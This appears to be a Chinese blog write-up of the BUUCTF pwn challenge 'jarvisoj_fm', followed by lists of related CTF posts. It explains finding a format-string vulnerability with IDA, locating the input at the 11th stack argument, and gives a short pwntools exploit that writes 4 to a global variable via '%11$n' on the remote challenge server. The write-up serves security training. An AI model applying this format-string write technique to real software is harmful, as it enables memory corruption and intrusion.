[PWN] BUUCTF jarvisoj_fm

按照惯例checksec ,开启了relro,canary,nx

执行程序,观察程序的逻辑,在打印出输入的字符后,会打印出3!

32IDA打开查看主要函数main,观察到在红框那里存在的很明显的格式化字符串漏洞,而且当x==4时,会得到flag,根据之前执行的程序可知,未修改x之前x的值为3,则若要修改x,需要利用格式化字符串漏洞的任意地址读写


找到要修改的地址,即x的地址
记录x的地址:0x804A02C

解题思路
利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参数在函数栈上的位置,然后往这个位置进行写入修改的数值
0x41414141就是输入参数的位置,可以知道是第11个参数,%11$ 定位到这个位置,然后%n往这个位置写入4

%$定位参数符
%n 用于将当前字符串的长度打印到var中,默认写入4字节(获取地址的参数)(刚好题目要把x修改为4)

payload

#coding=utf-8
#格式化字符串漏洞
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
p=remote("node3.buuoj.cn","26538")  #链接服务器远程交互,等同于nc、ip端口命令
# p=process('./fm')
addr=0x0804A02C
playload=p32(addr) +'%11$n'
# gdb.attach(p,'b* main')
p.sendline(playload)
p.interactive()


Get!

[PWN] BUUCTF jarvisoj_fm相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF(pwn)jarvisoj_fm --格式化字符串漏洞

    简单的格式化字符串漏洞题目 32位,开启了canary和nx保护 知道以上条件就可以计算偏移了 得到偏移为11 from pwn import *r=remote('node3.buuoj.cn',2 ...

  3. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  4. buuctf pwn wp(第四波)格式化字符串漏洞系列

    这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理.) 这一波题都是无脑AAAA的类型,它 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. buuctf(pwn)

    胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...

  7. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  8. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  9. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

最新文章

  1. linux常用命令解析
  2. python中常用的语句元素
  3. python判断是否是英文字母_用python如何判断字符串是纯英文
  4. python中truncate的用法_在Python中操作文件之truncate()方法的使用教程
  5. ES5-4 函数基础与种类、形实参及映射、变量类型
  6. MyBatisPlus怎么忽略映射字段
  7. 基于阿里云 DNS API 实现的 DDNS 工具
  8. 【经典回放】JavaScript学习详细干货笔记之(一)
  9. POJ3983 快算24【暴力】
  10. 文字处理技术:标点压缩
  11. Hutool PinyinException: No pinyin jar found Please add one of it to your project问题解决
  12. Java版实现一个简单的电话簿
  13. iOS 关于音乐锁屏控制音乐(锁屏信息设置)
  14. 水果店开业活动策划,水果店开业怎么搞活动
  15. MVC3中_ViewStart.cshtml的一些事
  16. 微型计算机的多级存储结构,微型计算机存储系统结构.doc
  17. asp功放怎么装_功放音响安装—教您如何安装功放音响
  18. 计算机操作员高级图形图像处理photoshopcs2试题解答,图形图像处理(Photoshop平台)Photoshop CS2试题汇编(图像制作员...
  19. Python面向对象实现栈和图书管理系统
  20. ad域控查看ldap端口命令_工作笔记(一)LDAP和AD介绍以及使用LDAP操作AD域

热门文章

  1. 痞子衡嵌入式:蓝牙芯片厂商三强(QualcommCSR, TI, Nordic)产品一览
  2. WebServie 基础
  3. 南北朝时期中国茶业概况
  4. 如何知道发出的邮件对方有没有收到
  5. CSDN招聘:一同体验未来IT科技的魅力
  6. ics zjy 22年秋
  7. python文字识别模块_PYTHON如何调取OCR识别模块识别发票并输出到EXCLE? | ocr在线识别导出excle...
  8. 程序设计与实践 自动售货机 C语言
  9. Brt课程设计day3
  10. git上传云端与码云建仓、生成链接